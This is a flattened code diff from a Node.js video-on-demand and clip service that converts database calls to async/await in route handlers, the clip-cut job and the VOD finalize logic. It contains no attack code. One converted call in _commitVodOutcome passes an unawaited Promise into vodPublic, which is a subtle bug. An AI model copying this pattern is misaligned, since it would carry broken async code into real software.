failed) in one transaction.try {-- objects().withObject('clip', (ids) => ids, () => {-- const ids = db.all("SELECT id FROM clips WHERE status = 'processing'").map(r => r.id);-- if (ids.length) db.run(`UPDATE clips SET status = 'failed', cut_error = COALESCE(cut_error, 'interrupted by a restart') WHERE id IN (${ids.map(() => '?').join(',')})`, ids);++ await objects().withObject('clip', (ids) => ids, async () => {++ const ids = (await db.all("SELECT id FROM clips WHERE status = 'processing'")).map(r => r.id);++ if (ids.length) await db.run(`UPDATE clips SET status = 'failed', cut_error = COALESCE(cut_error, 'interrupted by a restart') WHERE id IN (${ids.map(() => '?').join(',')})`, ids);return ids;});} catch (err) { console.warn('[Clips] marking interrupted cuts failed:', err.message); }@@@ -147,15 +147,15 @@ function start() {// ── clip.cut as a media job ──────────────────────────────────/** The clip's media object (legacy:<app>:clip:<id>), the job's object. */--function clipObjectId(appId, clipId) {-- const row = db.get('SELECT id FROM media_objects WHERE legacy_ref = ?', [`legacy:${appId}:clip:${clipId}`]);++async function clipObjectId(appId, clipId) {++ const row = await db.get('SELECT id FROM media_objects WHERE legacy_ref = ?', [`legacy:${appId}:clip:${clipId}`]);return row ? row.id : null;}/** Queue the cut of a clip row → { job, created }. A repeated request for the same clip reuses its active job. */--function enqueueCut(appId, clipId, { reason = 'cut', createdBy = null, ownerUserId = null } = {}) {++async function enqueueCut(appId, clipId, { reason = 'cut', createdBy = null, ownerUserId = null } = {}) {const queue = require('../jobs/queue');-- const out = queue.enqueue({ appId, type: 'clip.cut', objectId: clipObjectId(appId, clipId), params: { clip_id: Number(clipId), reason }, dedupeActive: true, createdBy, ownerUserId });++ const out = await queue.enqueue({ appId, type: 'clip.cut', objectId: await clipObjectId(appId, clipId), params: { clip_id: Number(clipId), reason }, dedupeActive: true, createdBy, ownerUserId });try { require('../jobs/worker').kick(); } catch { /* the poll picks it up */ }return out;}@@@ -173,7 +173,7 @@ const spec = {},async run(job) {const { JobError } = require('../jobs/queue');-- const clip = db.getClipById(job.params.clip_id);++ const clip = await db.getClipById(job.params.clip_id);if (!clip || clip.app_id !== job.app_id) throw new JobError('not_found', 'The clip no longer exists', { permanent: true });const r = await recutClip(clip.id, { reason: job.params.reason || 'cut', viaJob: true });if (!r.ok) throw new JobError('clip_cut_failed', r.error || 'cut failed', { permanent: !!r.hopeless });@@@ -54,7 +54,7 @@ const clipUpload = multer({// { readiness: true } (API responses) adds the object's readiness levels (server/objects/readiness.js);// the clip.ready / clip.failed payloads leave them out, as vodPublic's do.--function clipPublic(clip, { readiness = false } = {}) {++async function clipPublic(clip, { readiness = false } = {}) {if (!clip) return null;const out = {unique_views: clip.unique_views || 0,@@@ -90,7 +90,7 @@ function clipPublic(clip, { readiness = false } = {}) {view_count: clip.view_count || 0,created_at: clip.created_at,};-- if (readiness) out.readiness = require('../objects/readiness').forRow(clip);++ if (readiness) out.readiness = await require('../objects/readiness').forRow(clip);return out;}@@@ -105,10 +105,10 @@ function _isPrivate(row) {return (row.visibility || (row.is_public ? 'public' : 'private')) === 'private';}--function _getClipScoped(req, res) {++async function _getClipScoped(req, res) {const id = parseInt(req.params.id, 10);if (!Number.isFinite(id)) { res.status(404).json({ error: 'Clip not found' }); return null; }-- const clip = db.getClipById(id, req.appId);++ const clip = await db.getClipById(id, req.appId);if (!clip) { res.status(404).json({ error: 'Clip not found' }); return null; }return clip;}@@@ -118,8 +118,8 @@ function _getClipScoped(req, res) {* of its users (X-OV-User-Id) writes only that user's own clips: someone else's private one answers* exactly as a missing one would, anything else 403.*/--function _getClipForWrite(req, res) {-- const clip = _getClipScoped(req, res);++async function _getClipForWrite(req, res) {++ const clip = await _getClipScoped(req, res);if (!clip || req.authType !== 'user') return clip;if (clip.user_id != null && String(clip.user_id) === String(req.userId)) return clip;if (_isPrivate(clip)) res.status(404).json({ error: 'Clip not found' });@@@ -138,10 +138,10 @@ const flag = (v) => (['1', 'true'].includes(String(v)) ? 1 : ['0', 'false'].inclrouter.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), async (req, res) => {try {const body = req.body || {};-- if (req.file) return _createUploadedClip(req, res);++ if (req.file) return await _createUploadedClip(req, res);const vodId = parseInt(body.vod_id, 10);if (!Number.isFinite(vodId)) return res.status(400).json({ error: 'vod_id is required' });-- const vod = db.getVodById(vodId, req.appId);++ const vod = await db.getVodById(vodId, req.appId);if (!vod) return res.status(404).json({ error: 'VOD not found' });// An acting user cannot cut someone else's private VOD, and is not told it exists.if (req.authType === 'user' && _isPrivate(vod) && !(vod.user_id != null && String(vod.user_id) === String(req.userId))) {@@@ -156,12 +156,12 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), asif (startTime < 0 || endTime < 0) return res.status(400).json({ error: 'Time values cannot be negative' });let duration = endTime - startTime;-- const maxClipDuration = db.getSetting('max_clip_duration') || 60;++ const maxClipDuration = await db.getSetting('max_clip_duration') || 60;if (duration < 1) return res.status(400).json({ error: 'Clip must be at least 1 second' });if (duration > maxClipDuration) return res.status(400).json({ error: `Clips are limited to ${maxClipDuration} seconds` });// Duplicate detection — reuse a just-made clip for the same window.-- const duplicate = db.findDuplicateClip({++ const duplicate = await db.findDuplicateClip({appId: req.appId, vodId, streamId: vod.stream_id || null,startTime, endTime,});@@@ -201,7 +201,7 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as// one of its users is a person's clip whatever it claims. The flag and the description used// to be dropped here, so every auto-clip was stored as if a person had made it.const byApp = req.authType === 'app';-- const result = db.createClip({++ const result = await db.createClip({app_id: req.appId,vod_id: vodId,stream_id: vod.stream_id || (body.stream_id != null ? parseInt(body.stream_id, 10) || null : null),@@@ -224,7 +224,7 @@ router.post('/', tenantAuth({ allowUser: true }), clipUpload.single('video'), as// The cut is a media job (clip.cut, WS-G task 3): media.job.* events, retries with backoff, and a// job id the caller's UI follows (GET /api/v2/:app/jobs/:id) and reattaches to after a reload.// clip.ready / clip.failed and the webhook come from the cut itself, as before.-- const { job } = require('./clip-jobs').enqueueCut(appId, clipId, {++ const { job } = await require('./clip-jobs').enqueueCut(appId, clipId, {reason: 'cut', createdBy: req.authType === 'user' ? `app:${appId}:user:${req.userId}` : `app:${appId}`, ownerUserId: userId ?? null,});@@@ -253,7 +253,7 @@ async function _createUploadedClip(req, res) {tools.cleanupTempFile(clipPath);return res.status(422).json({ error: 'Clip upload was corrupt or empty. Please try again.' });}-- const maxClipDuration = db.getSetting('max_clip_duration') || 60;++ const maxClipDuration = await db.getSetting('max_clip_duration') || 60;if (duration > maxClipDuration + 5) {tools.cleanupTempFile(clipPath);return res.status(400).json({ error: `Clips are limited to ${maxClipDuration} seconds` });@@@ -263,7 +263,7 @@ async function _createUploadedClip(req, res) {const endTime = Number.parseFloat(body.end_s ?? body.end_time);const visibility = VALID_VIS.has(body.visibility) ? body.visibility : 'public';const vodId = body.vod_id != null ? parseInt(body.vod_id, 10) || null : null;-- const result = db.createClip({++ const result = await db.createClip({app_id: req.appId,vod_id: vodId,stream_id: body.stream_id != null ? parseInt(body.stream_id, 10) || null : null,@@@ -284,7 +284,7 @@ async function _createUploadedClip(req, res) {.catch(err => console.warn(`[Clips] Thumbnail failed for clip ${clipId}:`, err.message));console.log(`[Clips] Direct upload: clip ${clipId} (${req.appId}, ${duration.toFixed ? duration.toFixed(1) : duration}s)`);-- res.status(201).json({ ...clipPublic(db.getClipById(clipId, req.appId), { readiness: true }) });++ res.status(201).json({ ...await clipPublic(await db.getClipById(clipId, req.appId), { readiness: true }) });} catch (err) {console.error('[Clips] Upload error:', err.message);tools.cleanupTempFile(clipPath);@@@ -299,7 +299,7 @@ async function _createUploadedClip(req, res) {// auto_generated=1|0 clips the app's automation cut (1) or a person made (0)// status=ready playable clips only (no processing / failed rows)// since=<datetime> created at or after (ISO 8601 or 'YYYY-MM-DD HH:MM:SS', UTC)--router.get('/', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {try {const limit = Math.min(Math.max(parseInt(req.query.limit || '50', 10), 1), 500);const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);@@@ -318,9 +318,9 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {ready_only: String(req.query.status || '') === 'ready',since: req.query.since || null,};-- const clips = db.listClips(req.appId, filters);-- const total = db.countClips(req.appId, filters);-- res.json({ clips: clips.map(c => clipPublic(c, { readiness: true })), total, limit, offset, hasMore: offset + clips.length < total });++ const clips = await db.listClips(req.appId, filters);++ const total = await db.countClips(req.appId, filters);++ res.json({ clips: (await Promise.all(clips.map(async c => await clipPublic(c, { readiness: true })))), total, limit, offset, hasMore: offset + clips.length < total });} catch (err) {console.error('[Clips] List error:', err.message);res.status(500).json({ error: 'Failed to list clips' });@@@ -329,17 +329,17 @@ router.get('/', tenantAuth({ allowUser: true }), (req, res) => {// ── Get clip ─────────────────────────────────────────────────// A short-lived URL of a clip's bytes for a reader with no key (OpenVibe.AI transcribing it); the owning app only.--router.get('/:id/signed-url', tenantAuth(), (req, res) => {++router.get('/:id/signed-url', tenantAuth(), async (req, res) => {if (req.authType !== 'app') return res.status(403).json({ error: 'only the owning app signs a playback URL' });-- const clip = _getClipScoped(req, res);++ const clip = await _getClipScoped(req, res);if (!clip) return;res.set('Cache-Control', 'private, no-store');res.json(require('../objects/signing').signedMediaUrl('clip', clip.id, req.query.ttl));});--router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {++router.get('/:id', tenantAuth({ allowUser: true }), async (req, res) => {try {-- const clip = _getClipScoped(req, res);++ const clip = await _getClipScoped(req, res);if (!clip) return;// Acting for one of the app's users: another user's private clip looks missing (see GET /vods/:id).if (req.authType === 'user' && _isPrivate(clip) && !(clip.user_id != null && String(clip.user_id) === String(req.userId))) {@@@ -347,7 +347,7 @@ router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {}// Bare object, mirroring GET /vods/:id per CONTRACTS.md.// Detail responses carry the transcript too (lists stay light).-- res.json({ ...clipPublic(clip, { readiness: true }), ai_transcript: clip.ai_transcript || null });++ res.json({ ...await clipPublic(clip, { readiness: true }), ai_transcript: clip.ai_transcript || null });} catch (err) {res.status(500).json({ error: 'Failed to get clip' });}@@@ -362,14 +362,14 @@ router.get('/:id', tenantAuth({ allowUser: true }), (req, res) => {*/router.post('/:id/recut', tenantAuth(), async (req, res) => {try {-- const clip = _getClipForWrite(req, res);++ const clip = await _getClipForWrite(req, res);if (!clip) return;const clipId = clip.id;if (clip.status === 'processing') return res.status(409).json({ error: 'Clip is already being cut' });if (!clip.vod_id) return res.status(422).json({ error: 'Clip has no source VOD to re-cut from' });// A manual retry resets the attempt counter so it gets the full ladder again (not projected: no object change).-- db.run("UPDATE clips SET cut_attempts = 0 WHERE id = ?", [clipId]);-- const { job } = require('./clip-jobs').enqueueCut(req.appId, clipId, { reason: 're-cut', createdBy: `app:${req.appId}` });++ await db.run("UPDATE clips SET cut_attempts = 0 WHERE id = ?", [clipId]);++ const { job } = await require('./clip-jobs').enqueueCut(req.appId, clipId, { reason: 're-cut', createdBy: `app:${req.appId}` });res.status(202).json({ id: clipId, status: 'processing', job_id: job.id });} catch (err) {console.error('[Clips] Re-cut error:', err.message);@@@ -377,34 +377,34 @@ router.post('/:id/recut', tenantAuth(), async (req, res) => {}});--router.put('/:id', tenantAuth(), (req, res) => {++router.put('/:id', tenantAuth(), async (req, res) => {try {-- const clip = _getClipForWrite(req, res);++ const clip = await _getClipForWrite(req, res);if (!clip) return;const { title, visibility, auto_generated: autoGen } = req.body || {};if (title !== undefined) {const t = sanitizeClipTitle(title, '');if (!t) return res.status(400).json({ error: 'Title must be 1-200 characters' });-- objects.withObject('clip', clip.id, () => db.run('UPDATE clips SET title = ? WHERE id = ?', [t, clip.id]));++ await objects.withObject('clip', clip.id, async () => await db.run('UPDATE clips SET title = ? WHERE id = ?', [t, clip.id]));}// Only the app itself (its automation's own records) may say a clip was machine-made.if (autoGen !== undefined && flag(autoGen) !== null) {if (req.authType !== 'app') return res.status(403).json({ error: 'auto_generated is set by the app only' });-- objects.withObject('clip', clip.id, () => db.run('UPDATE clips SET auto_generated = ? WHERE id = ?', [flag(autoGen), clip.id]));++ await objects.withObject('clip', clip.id, async () => await db.run('UPDATE clips SET auto_generated = ? WHERE id = ?', [flag(autoGen), clip.id]));}-- if (visibility !== undefined) db.setClipVisibility(clip.id, visibility);-- res.json({ clip: clipPublic(db.getClipById(clip.id, req.appId), { readiness: true }) });++ if (visibility !== undefined) await db.setClipVisibility(clip.id, visibility);++ res.json({ clip: await clipPublic(await db.getClipById(clip.id, req.appId), { readiness: true }) });} catch (err) {res.status(500).json({ error: 'Failed to update clip' });}});// ── Delete ───────────────────────────────────────────────────--router.delete('/:id', tenantAuth(), (req, res) => {++router.delete('/:id', tenantAuth(), async (req, res) => {try {-- const clip = _getClipForWrite(req, res);++ const clip = await _getClipForWrite(req, res);if (!clip) return;-- if (objects.isHeldRow(clip)) return res.status(409).json({ error: 'Clip is under a retention hold', code: 'media.object.held' });++ if (await objects.isHeldRow(clip)) return res.status(409).json({ error: 'Clip is under a retention hold', code: 'media.object.held' });// Delete the local file + any offloaded B2/R2 object (clips carry// storage_provider/storage_key like VODs).@@@ -416,7 +416,7 @@ router.delete('/:id', tenantAuth(), (req, res) => {console.warn(`[Clips] Remote object cleanup failed for clip ${clip.id}:`, err.message));}-- db.run('DELETE FROM clips WHERE id = ?', [clip.id]); // its object is marked deleted by the row-delete trigger, same statement++ await db.run('DELETE FROM clips WHERE id = ?', [clip.id]); // its object is marked deleted by the row-delete trigger, same statementres.json({ message: 'Clip deleted' });} catch (err) {res.status(500).json({ error: 'Failed to delete clip' });@@@ -119,22 +119,22 @@ function writeReport(report, file = null) {}/** Write one repair (only if the row still has the value we read). Returns true when it changed. */--function applyRepair(row) {++async function applyRepair(row) {// The row and its object in one transaction (the object only when the row changed).-- return db.withObject('vod', (r) => (r.changes > 0 ? row.vod_id : null), () => db.run(`UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ?++ return (await db.withObject('vod', (r) => (r.changes > 0 ? row.vod_id : null), async () => await db.run(`UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ?WHERE id = ? AND COALESCE(duration_seconds, 0) = ? AND COALESCE(duration_source, '') = ? AND COALESCE(is_recording, 0) = 0`,-- [Math.round(row.measured), row.measured, row.measured_source, row.vod_id, row.stored, row.stored_source || ''])).changes > 0;++ [Math.round(row.measured), row.measured, row.measured_source, row.vod_id, row.stored, row.stored_source || '']))).changes > 0;}/** Undo repairs listed in a report (only rows that still hold what the repair wrote). */--function rollback(rows, { apply = false } = {}) {++async function rollback(rows, { apply = false } = {}) {const out = { restored: 0, would_restore: 0, changed_since: 0 };for (const r of rows || []) {if (r.action !== 'repaired') continue;-- const cur = db.get('SELECT duration_seconds, duration_source FROM vods WHERE id = ?', [r.vod_id]);++ const cur = await db.get('SELECT duration_seconds, duration_source FROM vods WHERE id = ?', [r.vod_id]);if (!cur || Number(cur.duration_seconds) !== Math.round(r.measured) || (cur.duration_source || '') !== (r.measured_source || '')) { out.changed_since++; continue; }if (!apply) { out.would_restore++; continue; }-- db.withObject('vod', r.vod_id, () => db.run('UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ? WHERE id = ?',++ await db.withObject('vod', r.vod_id, async () => await db.run('UPDATE vods SET duration_seconds = ?, probe_duration_seconds = ?, duration_source = ? WHERE id = ?',[r.stored, r.stored_probe ?? r.stored, r.stored_source || null, r.vod_id]));out.restored++;}@@@ -152,7 +152,7 @@ async function reconcileBatch({ appId = null, afterId = 0, limit = 50, ids = nulconst params = [];if (appId) { conds.push('app_id = ?'); params.push(appId); }if (ids && ids.length) { conds.push(`id IN (${ids.map(() => '?').join(', ')})`); params.push(...ids.map(Number)); } else { conds.push('id > ?'); params.push(Number(afterId) || 0); }-- const vods = db.all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY id LIMIT ?`, [...params, n]);++ const vods = await db.all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY id LIMIT ?`, [...params, n]);const report = {kind: 'media.vod.duration_reconcile', version: 1, run_at: new Date().toISOString(), mode: apply ? 'apply' : 'dry-run',app_id: appId, thresholds: THRESHOLDS, confirm_remote: !!confirmRemote,@@@ -185,13 +185,13 @@ async function reconcileBatch({ appId = null, afterId = 0, limit = 50, ids = nulif (verdict === 'wrong' || verdict === 'missing') {if (!m.confirmed) { row.action = 'unconfirmed'; report.counts.unconfirmed++; }else if (!apply) { row.action = 'would_repair'; report.counts.would_repair++; }-- else if (applyRepair(row)) { row.action = 'repaired'; report.counts.repaired++; }++ else if (await applyRepair(row)) { row.action = 'repaired'; report.counts.repaired++; }else { row.action = 'changed_since'; report.counts.changed_since++; }}}report.counts[row.verdict]++;report.rows.push(row);-- if (onRow) onRow(row);++ if (onRow) await onRow(row);}return report;}@@@ -38,7 +38,7 @@ function isFinalizing(vodId) {// Public shape of a vod row for API responses + webhooks. { readiness: true } (API responses) adds the// object's readiness levels (server/objects/readiness.js); webhook payloads leave them out (their shape// predates the object model and stays as it is).--function vodPublic(vod, { readiness = false } = {}) {++async function vodPublic(vod, { readiness = false } = {}) {if (!vod) return null;const out = {unique_views: vod.unique_views || 0,@@@ -78,7 +78,7 @@ function vodPublic(vod, { readiness = false } = {}) {created_at: vod.created_at,meta: (() => { try { return JSON.parse(vod.meta_json || '{}'); } catch { return {}; } })(),};-- if (readiness) out.readiness = require('../objects/readiness').forRow(vod);++ if (readiness) out.readiness = await require('../objects/readiness').forRow(vod);return out;}@@@ -116,9 +116,9 @@ function rebuildWebmFromMaster(masterPath, webmPath) {* inside the transaction). Returns the payload, or null when the transaction failed (then nothing* changed and nothing was announced). A deleted row's object is marked deleted by its trigger.*/--function _commitVodOutcome(vod, event, change, row = () => db.getVodById(vod.id)) {++async function _commitVodOutcome(vod, event, change, row = async () => await db.getVodById(vod.id)) {try {-- return announce(vod.app_id, event, { change: () => objects().withObject('vod', vod.id, change), payload: () => vodPublic(row()) }).data;++ return (await announce(vod.app_id, event, { change: async () => await objects().withObject('vod', vod.id, change), payload: async () => await vodPublic(row()) })).data;} catch (err) {console.error(`[VOD] vod ${vod.id}: ${event} not committed:`, err.message);return null;@@@ -154,7 +154,7 @@ async function finalizeVod(vodId, opts = {}) {return await _doFinalize(vodId, opts);} catch (err) {// A finalize that throws leaves the recording unsettled: the vod.finalize job tries again.-- _queueRetry(vodId, 'finalize_failed', opts);++ await _queueRetry(vodId, 'finalize_failed', opts);throw err;} finally {_finalizing.delete(vodId);@@@ -162,7 +162,7 @@ async function finalizeVod(vodId, opts = {}) {// row's object is marked by its trigger. This follow-up only re-reads the disk after a finalize// that threw part-way (a merge or remux rewrote the file, no row write followed). C-75 leftover:// it goes with the boot backfill (server/index.js) once the drift report shows zero drift.-- objects().safeSync('vod', vodId);++ await objects().safeSync('vod', vodId);}}@@@ -170,9 +170,9 @@ async function finalizeVod(vodId, opts = {}) {* Queue a vod.finalize retry (server/jobs/vod-finalize.js; first attempt in 5 minutes), unless this* finalize IS that job (it retries itself with backoff).*/--function _queueRetry(vodId, reason, opts = {}) {++async function _queueRetry(vodId, reason, opts = {}) {if (opts.fromJob) return;-- try { require('../jobs/vod-finalize').queueFinalize(vodId, reason, { runAfterS: 300 }); } catch { /* the orphan sweep and the reconcile job remain */ }++ try { await require('../jobs/vod-finalize').queueFinalize(vodId, reason, { runAfterS: 300 }); } catch { /* the orphan sweep and the reconcile job remain */ }}// Health issues finalize itself records when it cannot settle a recording. A later successful@@@ -189,7 +189,7 @@ function _finalizeQuarantined(vod) {}async function _doFinalize(vodId, opts) {-- const vod = db.getVodById(vodId);++ const vod = await db.getVodById(vodId);if (!vod) return null;const filePath = vod.file_path;// The recorder's own start time bounds the duration (a container claiming more than the@@@ -204,29 +204,29 @@ async function _doFinalize(vodId, opts) {try { tools.cleanupSeekableFile(filePath); } catch { /* */ }try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }try { if (vod.storage_provider && vod.storage_provider !== 'local') require('./vod-storage').deleteVodObjects(vod).catch(() => {}); } catch { /* */ }-- try { db.run('DELETE FROM vods WHERE id = ?', [vodId]); } catch { /* */ }++ try { await db.run('DELETE FROM vods WHERE id = ?', [vodId]); } catch { /* */ }console.log(`[VOD] Discarded ephemeral clips-only recording (vod ${vodId})`);return null;}// A recording under a retention hold is never deleted here (the empty-row and zero-byte cases// below): it is settled as failed and quarantined instead, file and row kept.-- const keepHeld = (status) => {++ const keepHeld = async (status) => {console.warn(`[VOD] vod ${vodId}: ${status} recording under a retention hold — keeping its row and file, quarantined`);-- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, health_status = ?, health_issues_json = ?,++ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, health_status = ?, health_issues_json = ?,quarantined_at = COALESCE(quarantined_at, datetime('now')), is_public = 0, last_health_scan_at = datetime('now') WHERE id = ?`,[status, JSON.stringify([status, 'retention_hold']), vodId]));return null;};-- const held = objects().isHeldRow(vod);++ const held = await objects().isHeldRow(vod);if (!filePath || !fs.existsSync(filePath)) {-- if (held) return keepHeld('missing_file');++ if (held) return await keepHeld('missing_file');// No media was ever written (ingest started but produced nothing, or the// process died before ffmpeg opened the file). Nothing to review — delete// the row so a 0:00 ghost never reaches listings.console.warn(`[VOD] vod ${vodId}: no recording file — deleting empty row`);-- _commitVodOutcome(vod, 'vod.failed', () => db.run('DELETE FROM vods WHERE id = ?', [vodId]), () => vod);++ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run('DELETE FROM vods WHERE id = ?', [vodId]), () => vod);return null;}@@@ -242,12 +242,12 @@ async function _doFinalize(vodId, opts) {// nothing to review, so treat it like a missing file: report the failure and// delete the row and file — a 0:00 ghost must never reach listings.if (tools.getFileSizeSafe(filePath) === 0) {-- if (held) return keepHeld('zero_byte');++ if (held) return await keepHeld('zero_byte');console.warn(`[VOD] vod ${vodId}: zero-byte recording — deleting empty recording`);try { fs.unlinkSync(filePath); } catch { /* */ }try { tools.cleanupSeekableFile(filePath); } catch { /* */ }try { if (vod.master_file_path && fs.existsSync(vod.master_file_path)) fs.unlinkSync(vod.master_file_path); } catch { /* */ }-- _commitVodOutcome(vod, 'vod.failed', () => db.run('DELETE FROM vods WHERE id = ?', [vodId]),++ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run('DELETE FROM vods WHERE id = ?', [vodId]),() => ({ ...vod, health_status: 'zero_byte', is_public: 0 }));return null;}@@@ -308,28 +308,28 @@ async function _doFinalize(vodId, opts) {if (opts.ffmpegCorrupted) {console.warn(`[VOD] Finalized VOD ${vodId} marked corrupt by FFmpeg diagnostics; quarantining without deletion`);-- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,++ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,[stored, durationSource, 'corrupt', JSON.stringify(['ffmpeg-corruption-detected', ...issues]), measured, probeFormatJson, vodId]));-- return db.getVodById(vodId);++ return await db.getVodById(vodId);}// Nothing measurable (ffprobe and the packet pass both failed, or every value is impossible):// the stored duration is 0 and the recording waits for review, hidden. Never the wall clock.if (durationSource === 'unknown') {console.warn(`[VOD] vod ${vodId}: no measurable duration (${issues.join(', ')}) — stored 0, needs_review`);-- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review', health_issues_json = ?, probe_duration_seconds = 0, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,++ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review', health_issues_json = ?, probe_duration_seconds = 0, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,[JSON.stringify(issues), probeFormatJson, vodId]));-- _queueRetry(vodId, issues.includes('probe_failed') ? 'probe_failed' : 'inflated_duration', opts);-- return db.getVodById(vodId);++ await _queueRetry(vodId, issues.includes('probe_failed') ? 'probe_failed' : 'inflated_duration', opts);++ return await db.getVodById(vodId);}// Very short recordings are quarantined for review instead of deleted.const MIN_VOD_SECONDS = parseInt(process.env.MIN_VOD_SECONDS || '2', 10);if (durationSeconds < MIN_VOD_SECONDS) {console.log(`[VOD] Quarantining short vod ${vodId}: duration ${durationSeconds}s`);-- _commitVodOutcome(vod, 'vod.failed', () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,++ await _commitVodOutcome(vod, 'vod.failed', async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, health_status = ?, health_issues_json = ?, probe_duration_seconds = ?, probe_format_json = ?, last_health_scan_at = datetime('now'), quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,[stored, durationSource, 'needs_review', JSON.stringify(['short_duration', ...issues]), measured, probeFormatJson, vodId]));-- return db.getVodById(vodId);++ return await db.getVodById(vodId);}let stat;@@@ -339,9 +339,9 @@ async function _doFinalize(vodId, opts) {// The file vanished between the probe and here. Record it (no wall-clock duration left// behind by the live updates) and leave it for review.console.error(`[VOD] Failed to stat finalized VOD ${vodId}:`, err.message);-- objects().withObject('vod', vodId, () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',++ await objects().withObject('vod', vodId, async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',health_issues_json = ?, last_health_scan_at = datetime('now') WHERE id = ?`, [JSON.stringify(['stat_failed', ...issues]), vodId]));-- _queueRetry(vodId, 'stat_failed', opts);++ await _queueRetry(vodId, 'stat_failed', opts);return null;}// The lossless .master.mkv archive is only a fallback. Delete it ONLY once@@@ -353,12 +353,12 @@ async function _doFinalize(vodId, opts) {if (webmComplete) {fs.unlinkSync(masterPath);console.log(`[VOD] Removed master archive for vod ${vodId} (${path.basename(masterPath)})`);-- db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]); // not projected: no object change++ await db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]); // not projected: no object change} else {console.warn(`[VOD] vod ${vodId}: KEEPING master (webm ${durationSeconds}s still < master ${masterDur}s)`);}} else {-- db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]);++ await db.run('UPDATE vods SET master_file_path = NULL WHERE id = ?', [vodId]);}} catch (e) {console.warn(`[VOD] Master cleanup failed for vod ${vodId}:`, e.message);@@@ -376,17 +376,17 @@ async function _doFinalize(vodId, opts) {// A quarantine an earlier finalize attempt left (nothing measurable then) is lifted: the// recording is back to the visibility its owner chose.-- const lift = _finalizeQuarantined(db.getVodById(vodId) || vod);++ const lift = _finalizeQuarantined(await db.getVodById(vodId) || vod);// The ready transition, the VOD's object and the vod.ready event commit together (then the// webhook goes out). A failed commit throws, as the plain UPDATE did before.-- announce(vod.app_id, 'vod.ready', {-- change: () => objects().withObject('vod', vodId, () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, file_size = ?, probe_duration_seconds = ?, probe_format_json = ?, health_status = ?, health_issues_json = ?${lift ? ", quarantined_at = NULL, is_public = CASE WHEN COALESCE(visibility, 'public') = 'public' THEN 1 ELSE 0 END" : ''} WHERE id = ?`,++ await announce(vod.app_id, 'vod.ready', {++ change: async () => await objects().withObject('vod', vodId, async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = ?, duration_source = ?, file_size = ?, probe_duration_seconds = ?, probe_format_json = ?, health_status = ?, health_issues_json = ?${lift ? ", quarantined_at = NULL, is_public = CASE WHEN COALESCE(visibility, 'public') = 'public' THEN 1 ELSE 0 END" : ''} WHERE id = ?`,[stored, durationSource, stat.size, measured, probeFormatJson, 'ok', JSON.stringify(issues), vodId])),-- payload: () => vodPublic(db.getVodById(vodId)),++ payload: async () => await vodPublic(await db.getVodById(vodId)),});console.log(`[VOD] Finalized: vod ${vodId}, ${stored}s (${durationSource}), ${(stat.size / 1024 / 1024).toFixed(1)}MB`);-- return db.getVodById(vodId);++ return await db.getVodById(vodId);}module.exports = { finalizeVod, isFinalizing, vodPublic, rebuildWebmFromMaster, _absUrl, FINALIZE_ISSUES };@@@ -50,7 +50,7 @@ async function _scanOne(vod, { deep }) {if (!broken) {// Healthy (or duration just repaired) — record the clean scan.-- try { db.updateVodHealth(vod.id, { status: 'ok', issues: scan.issues || [] }); } catch { /* */ }++ try { await db.updateVodHealth(vod.id, { status: 'ok', issues: scan.issues || [] }); } catch { /* */ }// The lossless .master.mkv is only a finalize-time recovery fallback. This// VOD probed healthy and is long finished — reclaim a lingering master.try {@@@ -62,7 +62,7 @@ async function _scanOne(vod, { deep }) {if (master && fs.existsSync(master)) {const freedMb = (fs.statSync(master).size / 